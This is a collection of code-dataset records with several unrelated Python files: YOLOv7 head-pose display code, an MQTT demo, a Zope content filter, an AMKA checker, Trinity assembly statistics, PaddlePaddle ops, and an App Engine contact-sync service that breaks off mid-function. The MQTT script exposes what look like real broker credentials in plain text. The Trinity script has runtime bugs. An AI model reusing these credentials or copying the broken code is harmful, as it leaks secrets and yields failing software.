as f:\n f.write(('%g ' * len(line)).rstrip() % line + '\\n')\n\n if save_img or view_img: # Add bbox to image\n label = f'{names[int(cls)]} {conf:.2f}'\n # print(label)\n plot_one_box(xyxy, im0, label=label, color=colors[int(cls)], line_thickness=1)\n\n # Print time (inference + NMS)\n end = time.time()\n print(f'{s}Done. ({(1E3 * (t2 - t1)):.1f}ms) Inference, ({(1E3 * (t3 - t2)):.1f}ms) NMS')\n\n if show_text:\n pitch_str = str(round(p_pred_deg[0].item(), 3))\n yaw_str = str(-(round(y_pred_deg[0].item(), 3)))\n roll_str = str(round(r_pred_deg[0].item(), 3))\n #(img, text, org, fontFace, fontScale, color, thickness, lineType)\n next_txt_height = base_txt_height\n cv2.putText(im0,\"HEAD-POSE\",(0,next_txt_height), \n cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)\n next_txt_height += gap_txt_height\n cv2.putText(im0,\"roll:\"+roll_str,(0,next_txt_height), \n cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n next_txt_height += gap_txt_height\n cv2.putText(im0,\"yaw:\"+yaw_str,(0,next_txt_height), \n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n next_txt_height += gap_txt_height\n cv2.putText(im0,\"pitch:\"+pitch_str,(0,next_txt_height), \n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n \n # Stream results\n if view_img:\n # if cv2.getWindowProperty(WINDOW_NAME, cv2.WND_PROP_AUTOSIZE) < 0:\n # break\n fps = 1.0 / (end - start)\n # display_img = img_queue.get()\n # display_fps = fps_queue.get()\n # fps = curr_fps if fps == 0.0 else (fps*0.95 + curr_fps*0.05)\n im0 = show_fps(im0, fps)\n cv2.imshow(WINDOW_NAME, im0)\n key = cv2.waitKey(1)\n # cv2.imshow(str(p), im0)\n if key == 27: # ESC key: quit program\n print(\"\")\n print(\"-------------------------------\")\n print(\"------ See You Next Time ------\")\n print(\"-------------------------------\")\n print(\"\")\n cv2.destroyAllWindows()\n return 0\n elif key == ord('T') or key == ord('t'): # Toggle fullscreen\n show_text = not show_text\n \n # elif key == ord('F') or key == ord('f'): # Toggle fullscreen\n # full_scrn = not full_scrn\n # # print(full_scrn)\n # set_display(WINDOW_NAME, full_scrn)\n \n # Save results (image with detections)\n if save_img:\n if dataset.mode == 'image':\n cv2.imwrite(save_path, im0)\n print(f\" The image with the result is saved in: {save_path}\")\n else: # 'video' or 'stream'\n if vid_path != save_path: # new video\n vid_path = save_path\n if isinstance(vid_writer, cv2.VideoWriter):\n vid_writer.release() # release previous video writer\n vid_writer.release() # release previous video writer\n if vid_cap: # video\n fps = vid_cap.get(cv2.CAP_PROP_FPS)\n w = int(vid_cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n h = int(vid_cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n else: # stream\n fps, w, h = 30, im0.shape[1], im0.shape[0]\n save_path += '.mp4'\n vid_writer = cv2.VideoWriter(save_path, cv2.VideoWriter_fourcc(*'mp4v'), fps, (w, h))\n vid_writer.write(im0)\n\n if save_txt or save_img:\n s = f\"\\n{len(list(save_dir.glob('labels/*.txt')))} labels saved to {save_dir / 'labels'}\" if save_txt else ''\n #print(f\"Results saved to {save_dir}{s}\")\n\n # print(f'Done. ({time.time() - t0:.3f}s)')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--weights', nargs='+', type=str, default='yolov7.pt', help='model.pt path(s)')\n parser.add_argument('--source', type=str, default='inference/images', help='source') # file/folder, 0 for webcam\n parser.add_argument('--img-size', type=int, default=640, help='inference size (pixels)')\n parser.add_argument('--conf-thres', type=float, default=0.25, help='object confidence threshold')\n parser.add_argument('--iou-thres', type=float, default=0.45, help='IOU threshold for NMS')\n parser.add_argument('--device', default='', help='cuda device, i.e. 0 or 0,1,2,3 or cpu')\n parser.add_argument('--view-img', action='store_true', help='display results')\n parser.add_argument('--save-txt', action='store_true', help='save results to *.txt')\n parser.add_argument('--save-conf', action='store_true', help='save confidences in --save-txt labels')\n parser.add_argument('--nosave', action='store_true', help='do not save images/videos')\n parser.add_argument('--classes', nargs='+', type=int, help='filter by class: --class 0, or --class 0 2 3')\n parser.add_argument('--agnostic-nms', action='store_true', help='class-agnostic NMS')\n parser.add_argument('--augment', action='store_true', help='augmented inference')\n parser.add_argument('--update', action='store_true', help='update all models')\n parser.add_argument('--project', default='runs/detect', help='save results to project/name')\n parser.add_argument('--name', default='exp', help='save results to project/name')\n parser.add_argument('--exist-ok', action='store_true', help='existing project/name ok, do not increment')\n parser.add_argument('--no-trace', action='store_true', help='don`t trace model')\n opt = parser.parse_args()\n print(opt)\n\n #check_requirements(exclude=('pycocotools', 'thop'))\n with torch.no_grad():\n if opt.update: # update all models (to fix SourceChangeWarning)\n for opt.weights in ['yolov7.pt']:\n detect()\n strip_optimizer(opt.weights)\n else:\n detect()\n","repo_name":"putoze/yolov7_jetson_Xavier_AGX","sub_path":"backup/detect_with_6D_gazeml.py","file_name":"detect_with_6D_gazeml.py","file_ext":"py","file_size_in_byte":26955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40223851812","text":"\"\"\"\nServer \tm10.cloudmqtt.com\nUser \tvasdqkul\nPassword \tIXAeordypugS\nPort \t18322\nSSL Port \t28322\nWebsockets Port (TLS only) \t38322\nConnection limit \t10\n\"\"\"\nimport paho.mqtt.client as mqtt\nimport os, time\nfrom urllib import parse as urlparse\n\n#region Event Callbacks\n# Define event callbacks\ndef on_connect(client, userdata, flags, rc):\n print(\"rc: \" + str(rc))\n\ndef on_message(client, userdata, message):\n print(\"message received \", str(message.payload.decode(\"utf-8\")))\n print(\"message topic=\", message.topic)\n print(\"message qos=\", message.qos)\n print(\"message retain flag=\", message.retain)\n\ndef on_publish(client, obj, mid):\n print(\"mid: \" + str(mid))\n time.sleep(1)\n\ndef on_subscribe(client, obj, mid, granted_qos):\n print(\"Subscribed: \" + str(mid) + \" \" + str(granted_qos))\n\ndef on_log(client, obj, level, string):\n print(string)\n\n#endregion\n\nmtsvr='m10.cloudmqtt.com'\nmtport=18322\nmtusr=\"vasdqkul\"\nmtusr=\"vasdqkul\"\nmtpd=\"IXAeordypugS\"\n#client\nclient=mqtt.Client(\"Python1\",clean_session=True)\n# Assign event callbacks\nclient.on_message = on_message\nclient.on_connect = on_connect\nclient.on_publish = on_publish\nclient.on_subscribe = on_subscribe\n\n# Connect\nclient.username_pw_set(mtusr,mtpd)\nclient.connect(mtsvr, mtport)\ntopic='light'\n\n# Start subscribe, with QoS level 0\nclient.subscribe(topic, 0)\n\n# Publish a message\nclient.publish(topic, \"Light is ON\")\n\n# Continue the network loop, exit when an error occurs\nclient.loop_forever()","repo_name":"goferville/Python_goferbase","sub_path":"py_mqtt_1.py","file_name":"py_mqtt_1.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32399241607","text":"##parameters=items=[], sort_by='title', direction=None, hide_folder=0, displayed=['']\n# $Id$\n\"\"\"\nFilter and sort items (proxy)\n\nFIXME: what are the parameters?\n\"\"\"\n\nmtool = context.portal_membership\nwtool = context.portal_workflow\nttool = context.portal_types\n\nfrom ZTUtils import LazyFilter\n\n# filtering\nfiltered_items = []\nnow = context.ZopeTime()\ndisplay_cache = {}\nall_portal_types = ttool.objectIds()\nitems = LazyFilter(items, skip='View')\n\nfor item in items:\n if getattr(item.aq_explicit, 'view', None) is None:\n continue\n if item.getId().startswith('.'):\n continue\n\n # Using a cache to optimize the retrieval of the\n # 'cps_display_as_document_in_listing' attribute.\n portal_type = getattr(item, 'portal_type', None)\n if portal_type in all_portal_types:\n if display_cache.has_key(portal_type):\n display_as_document_in_listing = display_cache[portal_type]\n else:\n display_as_document_in_listing = getattr(ttool[portal_type],\n 'cps_display_as_document_in_listing',\n None)\n display_cache[portal_type] = display_as_document_in_listing\n else:\n display_as_document_in_listing = 0\n\n if hide_folder and (item.isPrincipiaFolderish and not display_as_document_in_listing):\n continue\n\n if displayed != [''] and item.portal_type not in displayed:\n continue\n review_state = wtool.getInfoFor(item, 'review_state', 'nostate')\n if review_state == 'published':\n if not mtool.checkPermission('Review portal content', item):\n doc = item.getContent()\n if now < doc.effective() or now > doc.expires():\n continue\n\n filtered_items.append(item)\n\nif direction is None:\n # no sorting\n return filtered_items\n\n# sorting\n# XXX hardcoded status !\nstatus_sort_order = {'nostate': '0',\n 'pending': '1',\n 'published': '2',\n 'work': '3',\n }\n\n# XXX these methods should return a tuple and not some half-baked string.\ndef id_sortkey(a):\n return a.getId()\n\ndef status_sortkey(a):\n return status_sort_order.get(wtool.getInfoFor(a, 'review_state', 'nostate'),\n '9') + a.title_or_id().lower()\n\ndef title_sortkey(a):\n return a.title_or_id().lower()\n\ndef date_sortkey(a):\n return str(a.modified()) + a.getId()\n\ndef effective_sortkey(a):\n return str(a.getContent().effective()) + a.getId()\n\ndef author_sortkey(a):\n author = a.Creator()\n if same_type(author, ''):\n return author + a.getId()\n return a.getId()\n\ndef cmp_desc(x, y):\n return -cmp(x, y)\n\nmake_sortkey = id_sortkey\nif sort_by == 'status':\n make_sortkey = status_sortkey\nelif sort_by == 'date':\n make_sortkey = date_sortkey\nelif sort_by == 'effective':\n make_sortkey = effective_sortkey\nelif sort_by == 'title':\n make_sortkey = title_sortkey\nelif sort_by == 'author':\n make_sortkey = author_sortkey\n\nobjects = [ (make_sortkey(x), x) for x in filtered_items ]\nif direction == 'desc':\n # XXX Using a sort method is slow, better reverse at the end.\n objects.sort(cmp_desc)\nelif direction == 'asc':\n objects.sort() # tuples compare \"lexicographically\"\n\nfiltered_items = [ x[1] for x in objects ]\n\nreturn filtered_items\n","repo_name":"nuxeo-cps/products--CPSDefault","sub_path":"skins/cps_default/filterContents.py","file_name":"filterContents.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26884825003","text":"from datetime import date\n\n\ndef enter_amka():\n while True:\n amka = input(\"Εισαγετε τον AMKA: \")\n if len(amka) == 11 and amka.isdigit():\n return amka\n else:\n print(\"Παρακαλώ εισάγετε 11 ΨΗΦΙΑ\")\n\n\ndef analyze_amka(amka):\n xronia = amka[:6]\n year = int(xronia[4:])\n gender_digit = int(amka[6:10])\n gender = 'αντρας'\n if gender_digit % 2 == 0:\n gender = \"γυναικα\"\n if year < 22:\n year += 2000\n else:\n year += 1900\n age = date.today().year - year\n print(f\"ο/η κατοχος ειναι {age} ετων {gender}\")\n\n\ndef rerun():\n while True:\n choise = input(\"Θελετε να ελεγξετε αλλο AMKA, (Ν)ΑΙ/(Ο)ΧΙ: \")\n if choise.upper() in (\"ΟΧΙ\", 'Ο', 'O'):\n print(\"ΤΕΛΟΣ ΠΡΟΓΡΑΜΜΑΤΟΣ\")\n exit(0)\n elif choise.upper() in (\"ΝΑΙ\", 'Ν', 'N'):\n break\n else:\n print(\"Λαθος επιλογη\")\n continue\n\n\ndef main():\n while True:\n analyze_amka(enter_amka())\n rerun()\n\n\nmain()\n","repo_name":"zartaz/python-ergasies-pli-pro","sub_path":"amka.py","file_name":"amka.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33677314415","text":"#!/~/anaconda3/bin/python3\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport statistics\nimport numpy as np\n\n##spit out some statistics about a trinity assembly, run this from within the same directory as the Trinity.fasta file##\n\ncount = 0\nfasta = open('Trinity.fasta')\n\nfor line in fasta:\n if '>' in line:\n count = count +1\n \n\nprint('Number of contigs = ' + count)\n\nseq=''\nseq_len=None\nseq_lengths = []\nfasta = open('Trinity.fasta')\nfor line in fasta:\n line=line.strip()\n if '>' in line:\n seq_lengths.append(seq_len)\n seq=''\n else:\n seq=seq + line\n seq_len=len(seq)\n\nseq_lengths = seq_lengths[1:]\n\nseq_median = statistics.median(seq_lengths)\nseq_max = max(seq_lengths)\nseq_min = min(seq_lengths)\n\nplt.hist(seq_lengths,bins=100)\nplt.yscale('log',nonposy='clip')\nplt.ylabel('Number of Contigs')\nplt.xlabel('Contig length')\nplt.savefig('/home/cdurkin/cdurkin_public/contig_length_histogram.png')\n\nprint('Median contig length = ' + str(seq_median))\nprint('Mean contig length = ' + str(seq_mean))\nprint('Maximum contig length = ' + str(seq_max))\nprint('Minimum contig length = ' + str(seq_min))\n","repo_name":"cadurkin/DeepDOM_Trap","sub_path":"code/trinity_stats.py","file_name":"trinity_stats.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35064708882","text":"import numpy as np\nfrom ...fluid.data_feeder import check_dtype\nfrom ...fluid.layer_helper import LayerHelper\nfrom ...static import Variable\nfrom ...tensor.creation import assign\nfrom ...fluid import dygraph_utils\nfrom ...tensor.layer_function_generator import templatedoc\nfrom paddle import in_dynamic_mode\nfrom paddle import _C_ops\nfrom ...fluid.framework import _non_static_mode, _in_legacy_dygraph, in_dygraph_mode\nfrom ...fluid.data_feeder import check_variable_and_dtype, check_type\nfrom ...framework import core\nfrom ...common_ops_import import convert_np_dtype_to_dtype_\n\n__all__ = []\n\n\ndef diag_embed(input, offset=0, dim1=-2, dim2=-1):\n \"\"\"\n This OP creates a tensor whose diagonals of certain 2D planes (specified by dim1 and dim2) \n are filled by ``input``. By default, a 2D plane formed by the last two dimensions \n of the returned tensor will be selected.\n\n The argument ``offset`` determines which diagonal is generated:\n\n - If offset = 0, it is the main diagonal.\n - If offset > 0, it is above the main diagonal.\n - If offset < 0, it is below the main diagonal.\n\n Args:\n input(Tensor|numpy.ndarray): The input tensor. Must be at least 1-dimensional. The input data type should be float32, float64, int32, int64.\n offset(int, optional): Which diagonal to consider. Default: 0 (main diagonal).\n dim1(int, optional): The first dimension with respect to which to take diagonal. Default: -2.\n dim2(int, optional): The second dimension with respect to which to take diagonal. Default: -1.\n \n Returns:\n Tensor, the output data type is the same as input data type.\n \n Examples:\n .. code-block:: python\n\n import paddle.nn.functional as F\n import numpy as np\n \n diag_embed = np.random.randn(2, 3).astype('float32')\n # [[ 0.7545889 , -0.25074545, 0.5929117 ],\n # [-0.6097662 , -0.01753256, 0.619769 ]]\n\n data1 = F.diag_embed(diag_embed)\n data1.numpy()\n # [[[ 0.7545889 , 0. , 0. ],\n # [ 0. , -0.25074545, 0. ],\n # [ 0. , 0. , 0.5929117 ]],\n\n # [[-0.6097662 , 0. , 0. ],\n # [ 0. , -0.01753256, 0. ],\n # [ 0. , 0. , 0.619769 ]]]\n\n data2 = F.diag_embed(diag_embed, offset=-1, dim1=0, dim2=2)\n data2.numpy()\n # [[[ 0. , 0. , 0. , 0. ],\n # [ 0.7545889 , 0. , 0. , 0. ],\n # [ 0. , -0.25074545, 0. , 0. ],\n # [ 0. , 0. , 0.5929117 , 0. ]],\n #\n # [[ 0. , 0. , 0. , 0. ],\n # [-0.6097662 , 0. , 0. , 0. ],\n # [ 0. , -0.01753256, 0. , 0. ],\n # [ 0. , 0. , 0.619769 , 0. ]]]\n\n data3 = F.diag_embed(diag_embed, offset=1, dim1=0, dim2=2)\n data3.numpy()\n # [[[ 0. , 0.7545889 , 0. , 0. ],\n # [ 0. , -0.6097662 , 0. , 0. ]],\n #\n # [[ 0. , 0. , -0.25074545, 0. ],\n # [ 0. , 0. , -0.01753256, 0. ]],\n #\n # [[ 0. , 0. , 0. , 0.5929117 ],\n # [ 0. , 0. , 0. , 0.619769 ]],\n #\n # [[ 0. , 0. , 0. , 0. ],\n # [ 0. , 0. , 0. , 0. ]]]\n \"\"\"\n inputs = {'Input': [input]}\n attrs = {'offset': offset, 'dim1': dim1, 'dim2': dim2}\n\n if not isinstance(input, Variable):\n input = assign(input)\n\n def __check_input(input, offset, dim1, dim2):\n check_dtype(input.dtype, 'Input',\n ['int32', 'int64', 'float16', 'float32', 'float64'],\n 'diag_embed')\n\n input_shape = list(input.shape)\n assert len(input_shape) >= 1, \\\n \"Input must be at least 1-dimensional, \" \\\n \"But received Input's dimensional: %s.\\n\" % \\\n len(input_shape)\n\n assert np.abs(dim1) <= len(input_shape), \\\n \"Dim1 is out of range (expected to be in range of [%d, %d], but got %d).\\n\" \\\n % (-(len(input_shape) + 1), len(input_shape), dim1)\n\n assert np.abs(dim2) <= len(input_shape), \\\n \"Dim2 is out of range (expected to be in range of [%d, %d], but got %d).\\n\" \\\n % (-(len(input_shape) + 1), len(input_shape), dim2)\n\n dim1_ = dim1 if dim1 >= 0 else len(input_shape) + dim1 + 1\n dim2_ = dim2 if dim2 >= 0 else len(input_shape) + dim2 + 1\n assert dim1_ != dim2_, \\\n \"dim1 and dim2 cannot be the same dimension.\" \\\n \"But received dim1 = %d, dim2 = %d\\n\"%(dim1, dim2)\n\n if not in_dynamic_mode():\n __check_input(input, offset, dim1, dim2)\n helper = LayerHelper(\"diag_embed\", **locals())\n\n out = helper.create_variable_for_type_inference(dtype=input.dtype)\n\n helper.append_op(type='diag_embed',\n inputs={'Input': [input]},\n attrs={\n 'offset': offset,\n 'dim1': dim1,\n 'dim2': dim2\n },\n outputs={'Out': [out]})\n out.stop_gradient = True\n return out\n\n\ndef sequence_mask(x, maxlen=None, dtype='int64', name=None):\n r\"\"\"\n **SequenceMask Layer**\n\n This layer outputs a mask according to the input :code:`x` and\n :code:`maxlen` with data type of :code:`dtype`.\n\n Supposing :code:`x` is a Tensor with shape [d_1, d_2, ..., d_n], the\n :code:`y` is a mask with shape [d_1, d_2, ..., d_n, maxlen], where:\n\n .. math::\n\n y(i_1, i_2,..., i_n, j) = (j < x(i_1, i_2,..., i_n))\n\n .. code-block:: text\n\n Case:\n\n Consider input:\n x = [3, 1, 1, 0] max_len = 4\n\n then we get out:\n mask = [[1, 1, 1, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n [0, 0, 0, 0]]\n\n Args:\n x (Variable): Input tensor of sequence_mask layer, \\\n whose elements are integers less than :code:`maxlen`. \\\n Tensor or LodTensor with shape [d_1, d_2, ..., d_n].\n maxlen (int, optional): Maximum length of the sequence. If :code:`maxlen` \\\n is None, it would be replace with :math:`max(x)`.\n dtype (np.dtype|paddle.dtype|str, optional): Data type of the output, \\\n ``int64`` by default.\n name(str, optional): For detailed information, please refer \\\n to :ref:`api_guide_Name`. Usually name is no need to set and \\\n None by default.\n\n Returns: The output sequence mask. Tensor with shape [d_1, d_2, ..., d_n, maxlen] \\\n and data type of :code:`dtype`. The data type should be bool, float32, float64, int8, \\\n int32 or int64.\n\n Return Type: Tensor\n\n Examples:\n .. code-block:: python\n\n import paddle\n\n lengths = paddle.to_tensor([10, 9, 8])\n mask = paddle.nn.functional.sequence_mask(lengths)\n\n print(mask.numpy())\n # [[1 1 1 1 1 1 1 1 1 1]\n # [1 1 1 1 1 1 1 1 1 0]\n # [1 1 1 1 1 1 1 1 0 0]]\n\n \"\"\"\n\n if in_dygraph_mode():\n if not isinstance(dtype, core.VarDesc.VarType):\n dtype = convert_np_dtype_to_dtype_(dtype)\n if maxlen is not None:\n if isinstance(maxlen, core.eager.Tensor):\n attrs = ('out_dtype', dtype)\n out = _C_ops.sequence_mask(x, maxlen, *attrs)\n else:\n attrs = ('out_dtype', dtype, 'maxlen', maxlen)\n out = _C_ops.sequence_mask(x, None, *attrs)\n out.stop_gradient = True\n return out\n\n helper = LayerHelper('sequence_mask', **locals())\n out = helper.create_variable_for_type_inference(dtype=dtype)\n\n inputs = {'X': [x]}\n attrs = {'out_dtype': out.dtype}\n if maxlen is not None:\n if isinstance(maxlen, Variable):\n inputs['MaxLenTensor'] = maxlen\n else:\n attrs['maxlen'] = maxlen\n\n helper.append_op(type='sequence_mask',\n inputs=inputs,\n outputs={'Y': out},\n attrs=attrs)\n\n out.stop_gradient = True\n return out\n\n\ndef gather_tree(ids, parents):\n r\"\"\"\n To be used after beam search. After beam search, we get selected ids at\n each time step and the corresponding parents in the search tree. Both ids\n and parents have the layout :attr:`[max_time, batch_size, beam_size]`. Then\n :attr:`gather_tree` is used to backtrace from the last time step and\n generate the full sequences by collecting selected ids.\n\n Here is an example:\n\n .. code-block:: text\n\n Given:\n ids = [[[2 2]\n [6 1]]\n [[3 9]\n [6 1]]\n [[0 1]\n [9 0]]]\n parents = [[[0 0]\n [1 1]]\n [[1 0]\n [1 0]]\n [[0 0]\n [0 1]]]\n\n Then:\n gather_tree(ids, parents)\n = [[[2 2]\n [1 6]]\n [[3 3]\n [6 1]]\n [[0 1]\n [9 0]]]\n\n Args:\n ids(Tensor): A Tensor with shape :attr:`[length, batch_size, beam_size]`\n and data type :attr:`int32` or :attr:`int64`. It contains the selected\n ids of all time steps.\n parents(Tensor): A Tensor with the same shape and data type as :attr:`ids`,\n It contains the parents corresponding to selected ids when searching\n among beams.\n\n Returns:\n A Tensor with the same shape and data type as :attr:`ids`. \\\n It contains the full sequences. The sequences are collected from \\\n :attr:`ids` by backtracing according to :attr:`parents`.\n\n Examples:\n .. code-block:: python\n\n import paddle\n\n ids = paddle.to_tensor([[[2, 2], [6, 1]], [[3, 9], [6, 1]], [[0, 1], [9, 0]]])\n\n parents = paddle.to_tensor([[[0, 0], [1, 1]], [[1, 0], [1, 0]], [[0, 0], [0, 1]]])\n\n final_sequences = paddle.nn.functional.gather_tree(ids, parents)\n # [[[2, 2], [1, 6]], [[3, 3], [6, 1]], [[0, 1], [9, 0]]]\n\n \"\"\"\n if in_dygraph_mode():\n return _C_ops.final_state_gather_tree(ids, parents)\n else:\n if _in_legacy_dygraph():\n return _C_ops.gather_tree(ids, parents)\n else:\n helper = LayerHelper('gather_tree', **locals())\n check_variable_and_dtype(ids, 'ids', ['int32', 'int64'],\n 'gather_tree')\n check_variable_and_dtype(parents, 'parents', ['int32', 'int64'],\n 'gather_tree')\n out = helper.create_variable_for_type_inference(dtype=ids.dtype)\n\n helper.append_op(type=\"gather_tree\",\n inputs={\n \"Ids\": ids,\n \"Parents\": parents\n },\n outputs={\"Out\": out})\n\n return out\n\n\n@templatedoc()\ndef temporal_shift(x, seg_num, shift_ratio=0.25, name=None, data_format=\"NCHW\"):\n \"\"\"\n\n **Temporal Shift Operator**\n\n ${comment}\n\n Args:\n x(Tensor): ${x_comment}\n seg_num(int): ${seg_num_comment}\n shift_ratio(float): ${shift_ratio_comment}\n name(str, optional): For detailed information, please refer\n to :ref:`api_guide_Name`. Usually name is no need to set and\n None by default.\n data_format(str, optional): Data format that specifies the layout of input.\n It can be \"NCHW\" or \"NHWC\". Default: \"NCHW\".\n\n Returns:\n out(Tensor): The temporal shifting result is a tensor with the\n same shape and same data type as the input.\n\n Raises:\n TypeError: seg_num must be int type.\n\n Examples:\n .. code-block:: python\n\n import paddle\n import paddle.nn.functional as F\n\n input = paddle.randn([6, 4, 2, 2])\n out = F.temporal_shift(x=input, seg_num=2, shift_ratio=0.2)\n \"\"\"\n if data_format not in [\"NCHW\", \"NHWC\"]:\n raise ValueError(\"Attr(data_format) should be 'NCHW' or 'NHWC'. \"\n \"Received Attr(data_format): {}.\".format(data_format))\n if _non_static_mode():\n return _C_ops.temporal_shift(x, 'seg_num', seg_num, 'shift_ratio',\n shift_ratio, 'data_format', data_format)\n\n helper = LayerHelper(\"temporal_shift\", **locals())\n check_variable_and_dtype(x, 'x', ['float32', 'float64'], 'temporal_shift')\n check_type(seg_num, 'seg_num', int, 'temporal_shift')\n check_type(shift_ratio, 'shift_ratio', float, 'temporal_shift')\n\n out = helper.create_variable_for_type_inference(dtype=x.dtype)\n\n if not isinstance(seg_num, int):\n raise TypeError(\"seg_num must be int type.\")\n\n helper.append_op(type=\"temporal_shift\",\n inputs={\"X\": x},\n outputs={\"Out\": out},\n attrs={\n \"seg_num\": seg_num,\n \"shift_ratio\": shift_ratio,\n \"data_format\": data_format\n })\n return out\n","repo_name":"IvanaXu/TestPaddleA100","sub_path":"paddle/nn/functional/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":13977,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"43331678684","text":"import cgi\nimport logging\nimport time as _time\nfrom datetime import datetime\nfrom django.utils import simplejson\nfrom google.appengine.api import users\nfrom google.appengine.ext import db\nfrom google.appengine.ext import webapp\nfrom model import datastore\nimport wsgiref.handlers\n\n\nclass BaseWebServiceHandler(webapp.RequestHandler):\n \"\"\"\n Base class for our web services. We put some common helper\n functions here.\n \"\"\"\n\n \"\"\"\n Since we're only simulating a single user account, declare our\n hard-coded credentials here, so that they're easy to see/find.\n We actually accept any and all usernames that start with this\n hard-coded values. So if ACCT_USER_NAME is 'user', then we'll\n accept 'user', 'user75', 'userbuddy', etc, all as legal account\n usernames.\n \"\"\"\n ACCT_USER_NAME = 'user'\n ACCT_PASSWORD = 'test'\n ACCT_AUTH_TOKEN = 'xyzzy'\n\n DATE_TIME_FORMAT = '%Y/%m/%d %H:%M'\n\n \"\"\"\n Process a request to authenticate a client. We assume that the username\n and password will be included in the request. If successful, we'll return\n an authtoken as the only content. If auth fails, we'll send an \"invalid\n credentials\" error.\n We return a boolean indicating whether we were successful (true) or not (false).\n In the event that this call fails, we will setup the response, so callers just\n need to RETURN in the error case.\n \"\"\"\n def authenticate(self):\n self.username = self.request.get('username')\n self.password = self.request.get('password')\n\n logging.info('Authenticatng username: ' + self.username)\n\n if ((self.username != None) and\n (self.username.startswith(BaseWebServiceHandler.ACCT_USER_NAME)) and\n (self.password == BaseWebServiceHandler.ACCT_PASSWORD)):\n # Authentication was successful - return our hard-coded\n # auth-token as the only response.\n self.response.set_status(200, 'OK')\n self.response.out.write(BaseWebServiceHandler.ACCT_AUTH_TOKEN)\n return True\n else:\n # Authentication failed. Return the standard HTTP auth failure\n # response to let the client know.\n self.response.set_status(401, 'Invalid Credentials')\n return False\n\n \"\"\"\n Validate the credentials of the client for a web service request.\n The request should include username/password parameters that correspond\n to our hard-coded single account values.\n We return a boolean indicating whether we were successful (true) or not (false).\n In the event that this call fails, we will setup the response, so callers just\n need to RETURN in the error case.\n \"\"\"\n def validate(self):\n self.username = self.request.get('username')\n self.authtoken = self.request.get('authtoken')\n\n logging.info('Validating username: ' + self.username)\n\n if ((self.username != None) and\n (self.username.startswith(BaseWebServiceHandler.ACCT_USER_NAME)) and\n (self.authtoken == BaseWebServiceHandler.ACCT_AUTH_TOKEN)):\n return True\n else:\n self.response.set_status(401, 'Invalid Credentials')\n return False\n\n\nclass Authenticate(BaseWebServiceHandler):\n \"\"\"\n Handles requests for login and authentication.\n\n UpdateHandler only accepts post events. It expects each\n request to include username and password fields. It returns authtoken\n after successful authentication and \"invalid credentials\" error otherwise.\n \"\"\"\n\n def post(self):\n self.authenticate()\n\n def get(self):\n \"\"\"Used for debugging in a browser...\"\"\"\n self.post()\n\n\nclass SyncContacts(BaseWebServiceHandler):\n \"\"\"Handles requests for fetching user's contacts.\n\n UpdateHandler only accepts post events. It expects each\n request to include username and authtoken. If the authtoken is valid\n it returns user's contact info in JSON format.\n \"\"\"\n\n def get(self):\n \"\"\"Used for debugging in a browser...\"\"\"\n self.post()\n\n def post(self):\n logging.info('*** Starting contact sync ***')\n if (not self.validate()):\n return\n\n updated_contacts = []\n\n # Process any client-side changes sent up in the request.\n # Any new contacts that were added are included in the\n # updated_contacts list, so that we return them to the\n # client. That way, the client can see the serverId of\n # the newly added contact.\n client_buffer = self.request.get('contacts')\n if ((client_buffer != None) and (client_buffer != '')):\n self.process_client_changes(client_buffer, updated_contacts)\n\n # Add any contacts that have been updated on the server-side\n # since the last sync by this client.\n client_state = self.request.get('syncstate')\n self.get_updated_contacts(client_state, updated_contacts)\n\n logging.info('Returning ' + str(len(updated_contacts)) + ' contact records')\n\n # Return the list of updated contacts to the client\n self.response.set_status(200)\n self.response.out.write(toJSON(updated_contacts))\n\n def get_updated_contacts(self, client_state, updated_contacts):\n logging.info('* Processing server changes')\n timestamp = None\n\n base_url = self.request.host_url\n\n # The client sends the last high-water-mark that they successfully\n # sync'd to in the syncstate parameter. It's opaque to them, but\n # its actually a seconds-in-unix-epoch timestamp that we use\n # as a baseline.\n if client_state:\n logging.info('Client sync state: ' + client_state)\n timestamp = datetime.utcfromtimestamp(float(client_state))\n\n # Keep track of the update/delete counts, so we can log it\n # below. Makes debugging easier...\n update_count = 0\n delete_count = 0\n\n contacts = datastore.Contact.all()\n if contacts:\n # Find the high-water mark for the most recently updated friend.\n # We'll return this as the syncstate (x) value for all the friends\n # we return from this function.\n high_water_date = datetime.min\n for contact in contacts:\n if (contact.updated > high_water_date):\n high_water_date = contact.updated\n high_water_mark = str(long(_time.mktime(high_water_date.utctimetuple())) + 1)\n logging.info('New sync state: ' + high_water_mark)\n\n # Now build the updated_contacts containing all the friends that have been\n # changed since the last sync\n for contact in contacts:\n # If our list of contacts we're returning already contains this\n # contact (for example, it's a contact just uploaded from the client)\n # then don't bother processing it any further...\n if (self.list_contains_contact(updated_contacts, contact)):\n continue\n\n handle = contact.handle\n\n if timestamp is None or contact.updated > timestamp:\n if contact.deleted == True:\n delete_count = delete_count + 1\n DeletedContactData(updated_contacts, handle, high_water_mark)\n else:\n update_count = update_count + 1\n UpdatedContactData(updated_contacts, handle, None, base_url, high_water_mark)\n\n logging.info('Server-side updates: ' + str(update_count))\n logging.info('Server-side deletes: ' + str(delete_count))\n\n def process_client_changes(self, contacts_buffer, updated_contacts):\n logging.info('* Processing client changes: ' + self.username)\n\n base_url = self.request.host_url\n\n # 